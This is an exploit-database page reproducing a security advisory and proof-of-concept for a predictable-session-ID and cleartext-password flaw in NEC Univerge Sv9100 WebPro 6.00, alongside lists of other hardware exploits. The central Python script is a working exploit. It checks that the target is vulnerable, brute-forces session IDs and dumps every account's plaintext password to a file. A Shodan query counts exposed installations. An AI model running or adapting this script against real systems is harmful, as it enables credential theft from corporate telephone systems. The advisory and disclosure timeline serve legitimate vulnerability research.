Menu

Improved exploit search engine. Try it out

"NEC Univerge Sv9100 WebPro - 6.00 - Predictable Session ID / Clear Text Password Storage"

Author

hyp3rlinx

Platform

hardware

Release date

2018-12-04

Release Date Title Type Platform Author
2019-06-06 "Supra Smart Cloud TV - 'openLiveURL()' Remote File Inclusion" webapps hardware "Dhiraj Mishra"
2019-06-03 "AUO Solar Data Recorder < 1.3.0 - Incorrect Access Control" webapps hardware Luca.Chiou
2019-06-04 "Cisco RV130W 1.0.3.44 - Remote Stack Overflow" remote hardware @0x00string
2019-06-04 "NUUO NVRMini 2 3.9.1 - 'sscanf' Stack Overflow" remote hardware @0x00string
2019-05-22 "Carel pCOWeb < B1.2.1 - Credentials Disclosure" webapps hardware Luca.Chiou
2019-05-22 "Carel pCOWeb < B1.2.1 - Cross-Site Scripting" webapps hardware Luca.Chiou
2019-05-22 "AUO Solar Data Recorder < 1.3.0 - 'addr' Cross-Site Scripting" webapps hardware Luca.Chiou
2019-05-21 "TP-LINK TL-WR840N v5 00000005 - Cross-Site Scripting" webapps hardware "purnendu ghosh"
2019-05-14 "D-Link DWL-2600AP - Multiple OS Command Injection" webapps hardware "Raki Ben Hamouda"
2019-05-10 "RICOH SP 4520DN Printer - HTML Injection" webapps hardware "Ismail Tasdelen"
2019-05-10 "RICOH SP 4510DN Printer - HTML Injection" webapps hardware "Ismail Tasdelen"
2019-05-06 "LG Supersign EZ CMS - Remote Code Execution (Metasploit)" remote hardware "Alejandro Fanjul"
2019-05-03 "Crestron AM/Barco wePresent WiPG/Extron ShareLink/Teq AV IT/SHARP PN-L703WA/Optoma WPS-Pro/Blackbox HD WPS/InFocus LiteShow - Remote Command Injection" webapps hardware "Jacob Baines"
2019-04-30 "Intelbras IWR 3000N 1.5.0 - Cross-Site Request Forgery" webapps hardware "Social Engineering Neo"
2019-04-30 "Intelbras IWR 3000N - Denial of Service (Remote Reboot)" webapps hardware "Social Engineering Neo"
2019-04-30 "Netgear DGN2200 / DGND3700 - Admin Password Disclosure" webapps hardware "Social Engineering Neo"
2019-04-25 "JioFi 4G M2S 1.0.2 - 'mask' Cross-Site Scripting" webapps hardware "Vikas Chaudhary"
2019-04-25 "JioFi 4G M2S 1.0.2 - Denial of Service" dos hardware "Vikas Chaudhary"
2019-04-22 "QNAP myQNAPcloud Connect 1.3.4.0317 - 'Username/Password' Denial of Service" dos hardware "Dino Covotsos"
2019-04-17 "ASUS HG100 - Denial of Service" dos hardware "YinT Wang"
2019-04-16 "Zyxel ZyWall 310 / ZyWall 110 / USG1900 / ATP500 / USG40 - Login Page Cross-Site Scripting" webapps hardware "Aaron Bishop"
2019-04-15 "Cisco RV130W Routers - Management Interface Remote Command Execution (Metasploit)" remote hardware Metasploit
2019-04-10 "D-Link DI-524 V2.06RU - Multiple Cross-Site Scripting" webapps hardware "Semen Alexandrovich Lyhin"
2019-04-09 "TP-LINK TL-WR940N / TL-WR941ND - Buffer Overflow" remote hardware "Grzegorz Wypych"
2019-04-08 "SaLICru -SLC-20-cube3(5) - HTML Injection" webapps hardware Ramikan
2019-04-03 "Cisco RV320 and RV325 - Unauthenticated Remote Code Execution (Metasploit)" remote hardware Metasploit
2019-04-02 "JioFi 4G M2S 1.0.2 - Cross-Site Request Forgery" webapps hardware "Vikas Chaudhary"
2019-03-20 "PLC Wireless Router GPN2.4P21-C-CN - Cross-Site Request Forgery" webapps hardware "Kumar Saurav"
2019-03-20 "PLC Wireless Router GPN2.4P21-C-CN - Incorrect Access Control" webapps hardware "Kumar Saurav"
2019-03-08 "Sony Playstation 4 (PS4) < 6.20 - WebKit Code Execution (PoC)" local hardware Specter
Release Date Title Type Platform Author
2019-05-03 "Windows PowerShell ISE - Remote Code Execution" local windows hyp3rlinx
2019-04-12 "Microsoft Internet Explorer 11 - XML External Entity Injection" local windows hyp3rlinx
2019-03-13 "Microsoft Windows - .reg File / Dialog Box Message Spoofing" dos windows hyp3rlinx
2019-01-23 "Microsoft Windows CONTACT - HTML Injection / Remote Code Execution" local windows hyp3rlinx
2019-01-17 "Microsoft Windows CONTACT - Remote Code Execution" local windows hyp3rlinx
2019-01-15 "Microsoft Windows VCF - Remote Code Execution" local windows hyp3rlinx
2018-12-04 "NEC Univerge Sv9100 WebPro - 6.00 - Predictable Session ID / Clear Text Password Storage" webapps hardware hyp3rlinx
2018-11-13 "Cisco Immunet < 6.2.0 / Cisco AMP For Endpoints 6.2.0 - Denial of Service" dos windows hyp3rlinx
2018-11-12 "D-LINK Central WifiManager CWM-100 - Server-Side Request Forgery" webapps hardware hyp3rlinx
2018-10-23 "ServersCheck Monitoring Software 14.3.3 - 'id' SQL Injection" webapps windows hyp3rlinx
2018-09-03 "FsPro Labs Event Log Explorer v4.6.1.2115 - XML External Entity Injection" webapps windows hyp3rlinx
2018-08-29 "Argus Surveillance DVR 4.0.0.0 - Directory Traversal" webapps windows_x86 hyp3rlinx
2017-12-01 "Artica Web Proxy 3.06 - Remote Code Execution" webapps php hyp3rlinx
2017-12-01 "MistServer 2.12 - Cross-Site Scripting" webapps multiple hyp3rlinx
2017-10-15 "Webmin 1.850 - Multiple Vulnerabilities" webapps cgi hyp3rlinx
2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - 'Host' Header Injection" webapps php hyp3rlinx
2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - Server Side Request Forgery" webapps php hyp3rlinx
2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - Information Disclosure" webapps php hyp3rlinx
2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - Code Execution / Memory Corruption" webapps windows hyp3rlinx
2017-09-28 "Trend Micro OfficeScan 11.0/XG (12.0) - Private Key Disclosure" webapps php hyp3rlinx
2017-08-21 "Apache2Triad 1.5.4 - Multiple Vulnerabilities" webapps php hyp3rlinx
2017-06-05 "Subsonic 6.1.1 - Cross-Site Request Forgery / Cross-Site Scripting" webapps windows hyp3rlinx
2017-06-05 "Subsonic 6.1.1 - Server-Side Request Forgery" webapps windows hyp3rlinx
2017-06-05 "Subsonic 6.1.1 - Cross-Site Request Forgery" webapps windows hyp3rlinx
2017-05-20 "Mantis Bug Tracker 1.3.10/2.3.0 - Cross-Site Request Forgery" webapps php hyp3rlinx
2017-05-15 "Mailcow 0.14 - Cross-Site Request Forgery" webapps php hyp3rlinx
2017-04-16 "Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset" webapps php hyp3rlinx
2017-04-14 "Concrete5 CMS 8.1.0 - 'Host' Header Injection" webapps php hyp3rlinx
2017-03-31 "Splunk Enterprise - Information Disclosure" webapps multiple hyp3rlinx
2018-02-14 "NAT32 2.2 Build 22284 - Cross-Site Request Forgery" webapps windows hyp3rlinx
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/45942/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/45942/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/45942/40447/nec-univerge-sv9100-webpro-600-predictable-session-id-clear-text-password-storage/download/", "exploit_id": "45942", "exploit_description": "\"NEC Univerge Sv9100 WebPro - 6.00 - Predictable Session ID / Clear Text Password Storage\"", "exploit_date": "2018-12-04", "exploit_author": "hyp3rlinx", "exploit_type": "webapps", "exploit_platform": "hardware", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
'''
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/NEC-UNIVERGE-WEBPRO-v6.00-PREDICTABLE-SESSIONID-CLEARTEXT-PASSWORDS.txt
[+] ISR: ApparitionSec   


***Greetz: indoushka | Eduardo B. 0day***


[Vendor]
www.necam.com


[Affected Product Code Base]
NEC Univerge Sv9100 WebPro - 6.00.00


NEC Univerge WebPro, is a web-based programming tool for the NEC Switch, which is used to program corporate Telephone systems.


Public facing installations as of Dec 1, 2018
https://www.shodan.io/search?query=Server+Henry
Result: 7,797 


[Vulnerability Type(s)]
[CVE Reference(s)]
Predictable Session ID - CVE-2018-11741 / Cleartext Password Storage - CVE-2018-11742


[Attack Vectors]
Make repeated remote HTTP requests until arriving at a valid authenticated sessionId.


Security Issue:
================
NEC Univerge WebPro suffers from a "Predictable Session ID" that can potentially disclose all user account information including passwords stored in clear text in the Web UI.
Attackers can simply increment numbers until arriving at a live session, then by using a specific URI dump the entire account information for all users including the clear text passwords.

e.g..

curl  http://NEC-VICTIM-IP/Home.htm?sessionId=12959&GOTO(8)


Exploit/POC:
=============
'''

from socket import *
import re

#Univerge Sv9100 NEC WebPro : 6.00
#Dumps user accounts and plaintext passwords stored in Web UI in Administrator Programming Password Setup' webpage
#http://TARGET-IP/Home.htm?sessionId=12959&GOTO(8) "GOTO(8)" will retrieve all account usernames and cleartext passwords.

print "NEC Univerge Sv9100 WebPro - 6.00.00 / Remote 0day Exploit POC"
print "hyp3rlinx"


IP=raw_input("[+] TARGET> ")
res=''
findme="Programming Password Setup"
cnt=0
tmp=False
tmp2=False
pwned=False

#check application is NEC and vuln version
def is_NEC_webpro(u):
    global tmp,tmp2,cnt
    res=''
    cnt+=1
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((IP,80))
    s.send('GET '+u+' HTTP/1.1\r\nHost: '+IP+'\r\n\r\n')

    while True:
        res=s.recv(4048)
        if res.find('</html>')!=-1:
            break   
    s.close()
    
    if re.findall(r"\bWebPro\b", res):
        tmp=True
        if tmp and cnt < 3:
            is_NEC_webpro('/Login.htm')
            if re.findall(r"\b6.00.00\b", res) and re.findall(r"\bNEC Corporation of America\b", res):
                tmp2 = True
            if tmp == True and tmp2 == True:
                return True
    return False



def dump(acct):
    file=open('NEC-Accounts.txt', 'w')
    file.write(acct+'\n')
    file.close()


def breach(sid):
    global pwned
    try:
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((IP,80))
        sid=str(sid)
        print 'trying sessid '+sid
        s.send('GET /Home.htm?sessionId%3d'+sid+'&GOTO(8)%20HTTP/1.1\r\nHost: '+IP+'\r\n\r\n')
    except Exception as e:
        print str(e)
        
    while True:
        res = s.recv(4096)
        if res.find('</html>')!=-1:
            break
        if re.findall(r"\bProgramming Password Setup\b",res)!=-1: ## We hit an active session.
            dump(res)
            print res
            pwned=True
       
    s.close()
    return pwned


def sessgen():
    for sessid in range(1000,15000): ##test 14109
        if breach(sessid):
            break


if __name__=='__main__':
    if is_NEC_webpro('/'):
        sessgen()
    else:
        print 'Not NEC or version not vuln.'

'''
Network Access:
===============
Remote


Severity:
=========
High


Disclosure Timeline:
=============================
Vendor Notification:  May 15, 2018
No reply
Vendor Notification: May 18, 2018
No reply
Vendor Notification:  June 4, 2018
No reply
Mitre assign CVE: June 5, 2018
JPCERT replies: June 6, 2018
JPCERT shares information with NEC : June 7, 2018
Request status : August 11, 2018
JPCERT contact NEC : August 14, 2018
No reply from vendor
Request status : August 21, 2018
JPCERT again contacts NEC : August 21, 2018
JPCERT "vendor working on a release" : August 23 2018
JPCERT "Vendor release October 2018" : September 12, 2018
NEC "Requests public disclosure after December 1st." : November 19, 2018
December 2, 2018 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
'''